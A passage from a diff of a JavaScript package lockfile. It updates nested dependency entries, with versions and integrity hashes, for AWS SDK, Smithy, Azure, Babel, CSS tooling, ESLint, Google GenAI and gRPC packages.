- "@aws-sdk/nested-clients/@smithy/core": ["@smithy/core@3.19.0", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.7", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-stream": "^4.5.7", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-Y9oHXpBcXQgYHOcAEmxjkDilUbSTkgKjoHYed3WaYUH8jngq8lPWDBSpjHblJ9uOgBdy5mh3pzebrScDdYr29w=="],
-
- "@aws-sdk/nested-clients/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-fcVap4QwqmzQwQK9QU3keeEpCzTjnP9NJ171vI7GnD7nbkAIcP9biZhDUx88uRH9BabSsQDS0unUps88uZvFIQ=="],
-
- "@aws-sdk/nested-clients/@smithy/hash-node": ["@smithy/hash-node@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k3Dy9VNR37wfMh2/1RHkFf/e0rMyN0pjY0FdyY6ItJRjENYyVPRMwad6ZR1S9HFm6tTuIOd9pqKBmtJ4VHxvxg=="],
-
- "@aws-sdk/nested-clients/@smithy/invalid-dependency": ["@smithy/invalid-dependency@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-E4t/V/q2T46RY21fpfznd1iSLTvCXKNKo4zJ1QuEFN4SE9gKfu2vb6bgq35LpufkQ+SETWIC7ZAf2GGvTlBaMQ=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-content-length": ["@smithy/middleware-content-length@4.2.6", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-0cjqjyfj+Gls30ntq45SsBtqF3dfJQCeqQPyGz58Pk8OgrAr5YiB7ZvDzjCA94p4r6DCI4qLm7FKobqBjf515w=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-endpoint": ["@smithy/middleware-endpoint@4.4.0", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-serde": "^4.2.7", "@smithy/node-config-provider": "^4.3.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "@smithy/url-parser": "^4.2.6", "@smithy/util-middleware": "^4.2.6", "tslib": "^2.6.2" } }, "sha512-M6qWfUNny6NFNy8amrCGIb9TfOMUkHVtg9bHtEFGRgfH7A7AtPpn/fcrToGPjVDK1ECuMVvqGQOXcZxmu9K+7A=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-retry": ["@smithy/middleware-retry@4.4.16", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/protocol-http": "^5.3.6", "@smithy/service-error-classification": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "@smithy/util-middleware": "^4.2.6", "@smithy/util-retry": "^4.2.6", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-XPpNhNRzm3vhYm7YCsyw3AtmWggJbg1wNGAoqb7NBYr5XA5isMRv14jgbYyUV6IvbTBFZQdf2QpeW43LrRdStQ=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-serde": ["@smithy/middleware-serde@4.2.7", "", { "dependencies": { "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-PFMVHVPgtFECeu4iZ+4SX6VOQT0+dIpm4jSPLLL6JLSkp9RohGqKBKD0cbiXdeIFS08Forp0UHI6kc0gIHenSA=="],
-
- "@aws-sdk/nested-clients/@smithy/middleware-stack": ["@smithy/middleware-stack@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-JSbALU3G+JS4kyBZPqnJ3hxIYwOVRV7r9GNQMS6j5VsQDo5+Es5nddLfr9TQlxZLNHPvKSh+XSB0OuWGfSWFcA=="],
-
- "@aws-sdk/nested-clients/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.6", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/shared-ini-file-loader": "^4.4.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-fYEyL59Qe82Ha1p97YQTMEQPJYmBS+ux76foqluaTVWoG9Px5J53w6NvXZNE3wP7lIicLDF7Vj1Em18XTX7fsA=="],
-
- "@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qLRZzP2+PqhE3OSwvY2jpBbP0WKTZ9opTsn+6IWYI0SKVpbG+imcfNxXPq9fj5XeaUTr7odpsNpK6dmoiM1gJQ=="],
-
- "@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.10.1", "", { "dependencies": { "@smithy/core": "^3.19.0", "@smithy/middleware-endpoint": "^4.4.0", "@smithy/middleware-stack": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/types": "^4.10.0", "@smithy/util-stream": "^4.5.7", "tslib": "^2.6.2" } }, "sha512-1ovWdxzYprhq+mWqiGZlt3kF69LJthuQcfY9BIyHx9MywTFKzFapluku1QXoaBB43GCsLDxNqS+1v30ure69AA=="],
-
- "@aws-sdk/nested-clients/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
-
- "@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.6", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tVoyzJ2vXp4R3/aeV4EQjBDmCuWxRa8eo3KybL7Xv4wEM16nObYh7H1sNfcuLWHAAAzb0RVyxUz1S3sGj4X+Tg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
-
- "@aws-sdk/nested-clients/@smithy/util-body-length-browser": ["@smithy/util-body-length-browser@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-Fkoh/I76szMKJnBXWPdFkQJl2r9SjPt3cMzLdOB6eJ4Pnpas8hVoWPYemX/peO0yrrvldgCUVJqOAjUrOLjbxg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-body-length-node": ["@smithy/util-body-length-node@4.2.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-h53dz/pISVrVrfxV1iqXlx5pRg3V2YWFcSQyPyXZRrZoZj4R4DeWRDo1a7dd3CPTcFi3kE+98tuNyD2axyZReA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-browser": ["@smithy/util-defaults-mode-browser@4.3.15", "", { "dependencies": { "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-LiZQVAg/oO8kueX4c+oMls5njaD2cRLXRfcjlTYjhIqmwHnCwkQO5B3dMQH0c5PACILxGAQf6Mxsq7CjlDc76A=="],
-
- "@aws-sdk/nested-clients/@smithy/util-defaults-mode-node": ["@smithy/util-defaults-mode-node@4.2.18", "", { "dependencies": { "@smithy/config-resolver": "^4.4.4", "@smithy/credential-provider-imds": "^4.2.6", "@smithy/node-config-provider": "^4.3.6", "@smithy/property-provider": "^4.2.6", "@smithy/smithy-client": "^4.10.1", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Kw2J+KzYm9C9Z9nY6+W0tEnoZOofstVCMTshli9jhQbQCy64rueGfKzPfuFBnVUqZD9JobxTh2DzHmPkp/Va/Q=="],
-
- "@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.6", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-v60VNM2+mPvgHCBXEfMCYrQ0RepP6u6xvbAkMenfe4Mi872CqNkJzgcnQL837e8NdeDxBgrWQRTluKq5Lqdhfg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-qrvXUkxBSAFomM3/OEMuDVwjh4wtqK8D2uDZPShzIqOylPst6gor2Cdp6+XrH4dyksAWq/bE2aSDYBTTnj0Rxg=="],
-
- "@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.6", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-x7CeDQLPQ9cb6xN7fRJEjlP9NyGW/YeXWc4j/RUhg4I+H60F0PEeRc2c/z3rm9zmsdiMFzpV/rT+4UHW6KM1SA=="],
-
- "@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
-
- "@aws-sdk/token-providers/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="],
-
- "@aws-sdk/token-providers/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="],
-
- "@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.6", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-a/tGSLPtaia2krbRdwR4xbZKO8lU67DjMk/jfY4QKt4PRlKML+2tL/gmAuhNdFDioO6wOq0sXkfnddNFH9mNUA=="],
-
- "@aws-sdk/token-providers/@smithy/shared-ini-file-loader": ["@smithy/shared-ini-file-loader@4.4.1", "", { "dependencies": { "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-tph+oQYPbpN6NamF030hx1gb5YN2Plog+GLaRHpoEDwp8+ZPG26rIJvStG9hkWzN2HBn3HcWg0sHeB0tmkYzqA=="],
-
- "@aws-sdk/token-providers/@smithy/types": ["@smithy/types@4.10.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-K9mY7V/f3Ul+/Gz4LJANZ3vJ/yiBIwCyxe0sPT4vNJK63Srvd+Yk1IzP0t+nE7XFSpIGtzR71yljtnqpUTYFlQ=="],
+ "@aws-sdk/util-format-url/@aws-sdk/types": ["@aws-sdk/types@3.734.0", "", { "dependencies": { "@smithy/types": "^4.1.0", "tslib": "^2.6.2" } }, "sha512-o11tSPTT70nAkGV1fN9wm/hAIiLPyWX6SuGf+9JyTp7S/rC2cFWhR26MvA69nplcjNaXVzB0f+QFrLXXjOqCrg=="],
"@aws-sdk/util-format-url/@smithy/querystring-builder": ["@smithy/querystring-builder@4.0.1", "", { "dependencies": { "@smithy/types": "^4.1.0", "@smithy/util-uri-escape": "^4.0.0", "tslib": "^2.6.2" } }, "sha512-wU87iWZoCbcqrwszsOewEIuq+SU2mSoBE2CcsLwE0I19m0B2gOJr1MVjxWcDQYOzHbR1xCk7AcOBbGFUYOKvdg=="],
+ "@aws-sdk/util-format-url/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="],
+
"@azure/core-http-compat/@azure/abort-controller": ["@azure/abort-controller@1.1.0", "", { "dependencies": { "tslib": "^2.2.0" } }, "sha512-TrRLIoSQVzfAJX9H1JeFjzAoDGcoK1IYX1UImfceTZpsyYfWr09Ss1aHW1y5TrrR3iq6RZLBwJ3E24uwPhwahw=="],
- "@azure/core-xml/fast-xml-parser": ["fast-xml-parser@5.0.9", "", { "dependencies": { "strnum": "^2.0.5" }, "bin": { "fxparser": "src/cli/cli.js" } }, "sha512-2mBwCiuW3ycKQQ6SOesSB8WeF+fIGb6I/GG5vU5/XEptwFFhp9PE8b9O7fbs2dpq9fXn4ULR3UsfydNUCntf5A=="],
+ "@azure/storage-blob/@azure/core-http-compat": ["@azure/core-http-compat@2.3.2", "", { "dependencies": { "@azure/abort-controller": "^2.1.2" }, "peerDependencies": { "@azure/core-client": "^1.10.0", "@azure/core-rest-pipeline": "^1.22.0" } }, "sha512-Tf6ltdKzOJEgxZeWLCjMxrxbodB/ZeCbzzA1A2qHbhzAjzjHoBVSUeSl/baT/oHAxhc4qdqVaDKnc2+iE932gw=="],
+
+ "@azure/storage-blob/@azure/core-paging": ["@azure/core-paging@1.6.2", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YKWi9YuCU04B55h25cnOYZHxXYtEvQEbKST5vqRga7hWY9ydd3FZHdeQF8pyh+acWZvppw13M/LMGx0LABUVMA=="],
+
+ "@azure/storage-blob/@azure/logger": ["@azure/logger@1.3.0", "", { "dependencies": { "@typespec/ts-http-runtime": "^0.3.0", "tslib": "^2.6.2" } }, "sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA=="],
+
+ "@azure/storage-common/@azure/core-http-compat": ["@azure/core-http-compat@2.3.2", "", { "dependencies": { "@azure/abort-controller": "^2.1.2" }, "peerDependencies": { "@azure/core-client": "^1.10.0", "@azure/core-rest-pipeline": "^1.22.0" } }, "sha512-Tf6ltdKzOJEgxZeWLCjMxrxbodB/ZeCbzzA1A2qHbhzAjzjHoBVSUeSl/baT/oHAxhc4qdqVaDKnc2+iE932gw=="],
+
+ "@azure/storage-common/@azure/logger": ["@azure/logger@1.3.0", "", { "dependencies": { "@typespec/ts-http-runtime": "^0.3.0", "tslib": "^2.6.2" } }, "sha512-fCqPIfOcLE+CGqGPd66c8bZpwAji98tZ4JI9i/mlTNTlsIWslCfpg48s/ypyLxZTump5sypjrKn2/kY7q8oAbA=="],
+
+ "@babel/core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"@babel/generator/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
@@ -5331,11 +5481,17 @@
"@babel/helper-compilation-targets/lru-cache": ["lru-cache@5.1.1", "", { "dependencies": { "yallist": "^3.0.2" } }, "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w=="],
- "@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
+ "@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.25.9", "", { "dependencies": { "@babel/types": "^7.25.9" } }, "sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g=="],
- "@babel/plugin-transform-classes/globals": ["globals@11.12.0", "", {}, "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="],
+ "@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
- "@babel/plugin-transform-explicit-resource-management/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
+ "@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
"@babel/plugin-transform-runtime/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.8", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.5.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OtIuQfafSzpo/LhnJaykc0R/MMnuLSSVjVYy9mHArIZ9qTCSZ6TpWCuEKZYVoN//t8HqBNScHrOtCrIK5IaGLg=="],
@@ -5343,18 +5499,38 @@
"@babel/plugin-transform-runtime/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.5.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.5.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-OJGYZlhLqBh2DDHeqAxWB1XIvr49CxiJ2gIt61/PU55CQK4Z58OzMqjDe1zwQdQk+rBYsRc+1rJmdajM3gimHg=="],
- "@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.23.10", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-function-name": "^7.23.0", "@babel/helper-member-expression-to-functions": "^7.23.0", "@babel/helper-optimise-call-expression": "^7.22.5", "@babel/helper-replace-supers": "^7.22.20", "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5", "@babel/helper-split-export-declaration": "^7.22.6", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-2XpP2XhkXzgxecPNEEK8Vz8Asj9aRxt08oKOqtiZoqV2UGZ5T+EkyP9sXQ9nwMxBIG34a7jmasVqoMop7VdPUw=="],
+ "@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
- "@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.23.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.23.3", "@babel/helper-plugin-utils": "^7.22.5", "@babel/helper-simple-access": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA=="],
+ "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
+
+ "@babel/traverse/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
"@codesandbox/sandpack-client/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="],
- "@csstools/css-color-parser/@csstools/color-helpers": ["@csstools/color-helpers@4.0.0", "", {}, "sha512-wjyXB22/h2OvxAr3jldPB7R7kjTUEzopvjitS8jWtyd8fN6xJ8vy1HnHu0ZNfEkqpBJgQ76Q+sBDshWcMvTa/w=="],
+ "@csstools/postcss-cascade-layers/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "@csstools/postcss-is-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "@csstools/postcss-scope-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "@csstools/selector-resolve-nested/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
+
+ "@csstools/selector-specificity/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="],
"@eslint-community/eslint-utils/eslint-visitor-keys": ["eslint-visitor-keys@3.4.3", "", {}, "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag=="],
+ "@eslint/config-array/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+
+ "@eslint/config-array/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="],
+
"@eslint/eslintrc/globals": ["globals@14.0.0", "", {}, "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ=="],
+ "@google/genai/google-auth-library": ["google-auth-library@10.5.0", "", { "dependencies": { "base64-js": "^1.3.0", "ecdsa-sig-formatter": "^1.0.11", "gaxios": "^7.0.0", "gcp-metadata": "^8.0.0", "google-logging-utils": "^1.0.0", "gtoken": "^8.0.0", "jws": "^4.0.0" } }, "sha512-7ABviyMOlX5hIVD60YOfHw4/CxOfBhyduaYB+wbFWCWoni4N7SLcV46hrVRktuBbZjFC9ONyqamZITN7q3n32w=="],
+
+ "@grpc/proto-loader/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
+
